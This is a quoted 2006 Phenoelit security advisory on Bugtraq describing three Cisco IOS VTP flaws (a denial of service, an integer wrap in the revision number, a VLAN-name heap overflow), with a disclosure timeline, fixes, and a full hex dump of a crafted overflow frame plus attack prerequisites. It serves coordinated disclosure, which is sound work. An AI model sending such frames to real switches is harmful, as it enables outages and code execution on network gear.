> -----Original Message-----
> From: FX [mailto:fx@xxxxxxxxxxxx]
> Sent: Wednesday, September 13, 2006 4:19 PM
> To: bugtraq@xxxxxxxxxxxxxxxxx;
> full-disclosure@xxxxxxxxxxxxxxxxx; darklab@xxxxxxxxxxx
> Subject: Cisco IOS VTP issues
>
> Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +---+>
>
> [ Title ]
> Cisco Systems IOS VTP multiple vulnerabilities
>
> [ Authors ]
> FX <fx@xxxxxxxxxxxx>
>
> Phenoelit Group ()
> Advisory
>
> [ Affected Products ]
> Cisco IOS and CatOS
>
> Tested on: C3550 IOS 12.1(19)
>
> Cisco Bug ID: CSCei54611
> CERT Vu ID: <not assinged>
>
> [ Vendor communication ]
> 06.07.05 Initial Notification, gaus@xxxxxxxxx
> 12.07.05 PSIRT member Wendy Garvin <wgarvin@xxxxxxxxx>
> took over
> 14.07.05 Wendy states the there is a fix for
> one of the
> issues
> 19.07.05 According to Wendy, Cisco has trouble
> reproducing
> the issues and finding the affected code
> 27.07.05 Wendy notifies FX about fixed code
> 12.09.06 Phenoelit advisory goes to Cisco (FX
> just forgot
> about it, too much to hack, too
> little time, but the
> PSIRT party in Vegas was a good reminder)
> 13.09.06 Final advisory going public as
> coordinated release
>
> [ Overview ]
> Cisco Systems IOS contains bugs when handling the VLAN
> Trunking Protocol (VTP). Specially crafted packets
> may cause Denial of
> Service conditions, confusion of the network operator
> and a heap
> overflow with the possibility for arbitrary code execution.
>
> [ Description ]
> Cisco IOS suffers from several bugs in the VTP
> handling code. All
> issues require VTP to be in server or client mode.
> Transparent mode
> (default) is not affected.
>
> Issue 1: Denial of Service
> When sending a VTP version 1 summary frame to a Cisco
> IOS device
> and setting the VTP version field to value 2, the device stops
> working. Apparently, the VTP handling process will loop and is
> terminated by the systems watchdog process, reloading
> the device.
>
> Issue 2: Integer wrap in VTP revision
> If an attacker can send VTP updates (summary and sub)
> to a Cisco IOS
> or CatOS device, he can choose the revision of the
> VTP information.
> A revision of 0x7FFFFFFF will be accepted by IOS.
> When the switchs
> VLAN configuration is changed by an operator, IOS
> increases the
> revision, which becomes 0x80000000 and seems to be internally
> tracked by a signed integer variable. The revision is
> therefore
> seen as large negative value. From this point in time
> on, the switch
> will not be able to communicate changed VLAN
> configurations, since
> the generated updates will be rejected by all other switches.
>
> Issue 3: VLAN name heap overflow
> If an attacker can send VTP updates to a Cisco IOS
> device, the
> type 2 frames contain records for each individual
> VLAN in the update.
> One field of the VTP records contains the name of the
> VLAN, another
> field the length of this name. Sending an update with
> VLAN name
> above 100 bytes and correctly reflecting the length
> in the VLAN
> name length field causes a heap overflow. The overflow can be
> exploited to execute arbitrary code on the receiving
> switch. The
> maximum length of a VLAN name in VTP is 255 bytes.
>
> [ Example ]
> The following is an example frame for issue 3. The
> appropriate VTP
> summary advertisement (type 1) must be sent before this frame.
>
> IEEE 802.3 Ethernet
> Destination: CDP/VTP (01:00:0c:cc:cc:cc)
> Source: <any>
> Length: 260
> Logical-Link Control
> Virtual Trunking Protocol
> Version: 0x01
> Code: Subset-Advert (0x02)
> Sequence Number: 1
> Management Domain Length: 5
> Management Domain: AAAAA
> Configuration Revision Number: 3
> VLAN Information
> VLAN Information Length: 212
> Status: 0x00
> VLAN Type: Ethernet (0x01)
> VLAN Name Length: 200
> ISL VLAN ID: 0x0001
> MTU Size: 1500
> 802.10 Index: 0x000186a1
> VLAN Name: AAAAA[...]AAAAAA (200 in total)
>
> 0000 01 00 0c cc cc cc 00 fe fe c0 01 00 01 04 aa aa
> ...........^....
> 0010 03 00 00 0c 20 03 01 02 01 05 41 41 41 41 41 00
> .... .....AAAAA.
> 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> ................
> 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 03 d4 00
> ................
> 0040 01 c8 00 01 05 dc 00 01 86 a1 41 41 41 41 41 41
> ..........AAAAAA
> 0050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 0060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 0070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 0080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 0090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 00a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 00b0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 00c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 00d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 00e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 00f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 0100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
> AAAAAAAAAAAAAAAA
> 0110 41 41 AA
>
> [ Notes ]
> The VTP management domain is needed for the summary
> advertisement
> to be correct. This information is distributed via
> CDP if enabled.
>
> The attacker has to be on a trunk port for VTP frames to be
> accepted. The Dynamic Trunk Protocol (DTP) can be
> used to become
> a trunking peer.
>
> [ Solution ]
> Cisco Systems provides fixed software, which can be
> found based on
> the following bug IDs:
> CSCsd52629/CSCsd34759 -- VTP version field DoS
> CSCse40078/CSCse47765 -- Integer Wrap in VTP revision
> CSCsd34855/CSCei54611 -- Buffer Overflow in VTP VLAN name
>
> In general, it is recommended to configure a shared
> VTP password,
> which will be used in an MD5 hash to protect the summary
> advertisement.
>
> [ end of file ($Revision: 1.1 $) ]
>
> --
> FX <fx@xxxxxxxxxxxx>
> Phenoelit ()
> 672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
>
